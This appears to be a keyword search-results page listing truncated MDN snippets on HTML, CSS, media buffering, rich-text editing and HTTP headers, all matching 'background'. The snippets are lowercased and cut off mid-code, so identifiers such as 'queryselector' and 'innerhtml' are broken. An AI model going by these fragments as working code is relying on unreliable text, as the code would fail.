Media buffering, seeking, and time ranges - Developer guides
the html for our player looks like this: <audio id="my-audio" preload controls> <source src="music.mp3" type="audio/mpeg"> </audio> <div class="buffered"> <span id="buffered-amount"></span> </div> <div class="progress"> <span id="progress-amount"></span> </div> we'll use the following css to style the buffering display: .buffered { height: 20px; position: relative;
background: #555; width: 300px; } #buffered-amount { display: block; height: 100%;
background-color: #777; width: 0; } .progress { margin-top: -20px; height: 20px; position: relative; width: 300px; } #progress-amount { display: block; height: 100%;
background-color: #595; width: 0; } and the following javascript provides our functionality: window.onload = function(){ var my...
Rich-Text Editing in Mozilla - Developer guides
recolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- color -</option> <option value="red">red</option> <option value="blue">blue</option> <option value="green">green</option> <option value="black">black</option> </select> <select onchange="formatdoc('backcolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>-
background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yit...
Making content editable - Developer guides
recolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- color -</option> <option value="red">red</option> <option value="blue">blue</option> <option value="green">green</option> <option value="black">black</option> </select> <select onchange="formatdoc('backcolor',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>-
background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yit...
HTML attribute: minlength - HTML: Hypertext Markup Language
input { border: 2px solid currentcolor; } input:invalid { border: 2px dashed red; } input:invalid:focus {
background-image: linear-gradient(pink, lightgreen); } specifications specification status html living standardthe definition of 'minlength attribute' in that specification.
Block-level elements - HTML: Hypertext Markup Language
the following example demonstrates the block-level element's influence: block-level elements html <p>this paragraph is a block-level element; its
background has been colored to display the paragraph's parent element.</p> css p {
background-color: #8abb55; } usage block-level elements may appear only within a <body> element.
<area> - HTML: Hypertext Markup Language
ping contains a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the
background).
<caption>: The Table Caption element - HTML: Hypertext Markup Language
e> <caption>example caption</caption> <tr> <th>login</th> <th>email</th> </tr> <tr> <td>user1</td> <td>user1@sample.com</td> </tr> <tr> <td>user2</td> <td>user2@sample.com</td> </tr> </table> caption { caption-side: top; align: right; } table { border-collapse: collapse; border-spacing: 0px; } table, th, td { border: 1px solid black; } table {
background: red;} do not alter caption.
<div>: The Content Division element - HTML: Hypertext Markup Language
html <div class="shadowbox"> <p>here's a very interesting note displayed in a lovely shadowed box.</p> </div> css .shadowbox { width: 15em; border: 1px solid #333; box-shadow: 8px 8px 5px #444; padding: 8px 12px;
background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); } result specifications specification status comment html living standardthe definition of '<div>' in that specification.
<input type="button"> - HTML: Hypertext Markup Language
<div class="toolbar"> <input type="color" aria-label="select pen color"> <input type="range" min="2" max="50" value="30" aria-label="select pen size"><span class="output">30</span> <input type="button" value="clear canvas"> </div> <canvas class="mycanvas"> <p>add suitable fallback here.</p> </canvas> body {
background: #ccc; margin: 0; overflow: hidden; } .toolbar {
background: #ccc; width: 150px; height: 75px; padding: 5px; } input[type="color"], input[type="button"] { width: 90%; margin: 0 auto; display: block; } input[type="range"] { width: 70%; } span { position: relative; bottom: 5px; } var canvas = document.queryselector('.mycanvas'); var width = canvas.width = window.innerw...
<input type="checkbox"> - HTML: Hypertext Markup Language
<input type="checkbox" id="other" name="interest" value="other"> <label for="other">other</label> <input type="text" id="othervalue" name="other"> </div> <div> <button type="submit">submit form</button> </div> </fieldset> </form> css html { font-family: sans-serif; } form { width: 600px; margin: 0 auto; } div { margin-bottom: 10px; } fieldset {
background: cyan; border: 5px solid blue; } legend { padding: 10px;
background: blue; color: cyan; } javascript var othercheckbox = document.queryselector('input[value="other"]'); var othertext = document.queryselector('input[id="othervalue"]'); othertext.style.visibility = 'hidden'; othercheckbox.addeventlistener('change', () => { if(othercheckbox.checked) { othertext.style.visibility = ...
<input type="radio"> - HTML: Hypertext Markup Language
tom: 5px; } label { margin-right: 15px; line-height: 32px; } input { -webkit-appearance: none; -moz-appearance: none; appearance: none; border-radius: 50%; width: 16px; height: 16px; border: 2px solid #999; transition: 0.2s all linear; margin-right: 5px; position: relative; top: 4px; } input:checked { border: 6px solid black; } button, legend { color: white;
background-color: black; padding: 5px 10px; border-radius: 0; border: 0; font-size: 14px; } button:hover, button:focus { color: #999; } button:active {
background-color: white; color: black; outline: 1px solid black; } most notable here is the use of the -moz-appearance property (with prefixes needed to support some browsers).
<menu> - HTML: Hypertext Markup Language
examples context menu html <!-- a <div> element with a context menu --> <div contextmenu="popup-menu"> right-click to see the adjusted context menu </div> <menu type="context" id="popup-menu"> <menuitem>action</menuitem> <menuitem>another action</menuitem> <hr/> <menuitem>separated action</menuitem> </menu> css div { width: 300px; height: 80px;
background-color: lightgreen; } result menu button menu buttons haven't been implemented in any known browsers yet.
<menuitem> - HTML: Hypertext Markup Language
</menuitem> <hr> <menuitem type="radio" radiogroup="group1">radio button 1</menuitem> <menuitem type="radio" radiogroup="group1">radio button 2</menuitem> </menu> css content div { width: 300px; height: 80px;
background-color: lightgreen; } result specifications specification status comment html 5.2the definition of '<menuitem>' in that specification.
<slot> - HTML: Hypertext Markup Language
examples <template id="element-details-template"> <style> details {font-family: "open sans light", helvetica, arial, sans-serif } .name {font-weight: bold; color: #217ac0; font-size: 120% } h4 { margin: 10px 0 -8px 0;
background: #217ac0; color: white; padding: 2px 6px; border: 1px solid #cee9f9; border-radius: 4px; } .attributes { margin-left: 22px; font-size: 90% } .attributes p { margin-left: 16px; font-style: italic } </style> <details> <summary> <code class="name"><<slot name="element-name">need name</slot>></code> <i class="desc"><slot name="description"...
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
<picture> <source srcset="mdn-logo-wide.png" media="(min-width: 800px)"> <source srcset="mdn-logo-medium.png" media="(min-width: 600px)"> <img src="mdn-logo-narrow.png" alt="mdn web docs"> </picture> with the <picture> element, you must always include an <img> with a fallback image, with an alt attribute to ensure accessibility (unless the image is an irrelevant
background decorative image).
<span> - HTML: Hypertext Markup Language
example example 1 html <p><span>some text</span></p> result example 2 html <li><span> <a href="portfolio.html" target="_blank">see my portfolio</a> </span></li> css li span {
background: gold; } result specifications specification status comment html living standardthe definition of '<span>' in that specification.
<template>: The Content Template element - HTML: Hypertext Markup Language
} the result is the original html table, with two new rows appended to it via javascript: table {
background: #000; } table td {
background: #fff; } avoiding documentfragment pitfall a documentfragment is not a valid target for various events, as such it is often preferable to clone or refer to the elements within it.
Link types: prerender - HTML: Hypertext Markup Language
the prerender keyword for the rel attribute of the <link> element is a hint to browsers that the user might need the target resource for the next navigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the resource — for example, by fetching its subresources or performing some rendering in the
background offscreen.
Evolution of HTTP - HTTP
illa.org/docs/glossary/simple_header 200 ok connection: keep-alive content-encoding: gzip content-type: text/html; charset=utf-8 date: wed, 20 jul 2016 10:55:30 gmt etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a" keep-alive: timeout=5, max=1000 last-modified: tue, 19 jul 2016 00:59:33 gmt server: apache transfer-encoding: chunked vary: cookie, accept-encoding (content) get /static/img/header-
background.png http/1.1 host: developer.cdn.mozilla.net user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: */* accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/docs/glossary/simple_header 200 ok age: 9578461 cache-control: public, max-age=315360000 connection: keep-alive content-length: 3077 content-...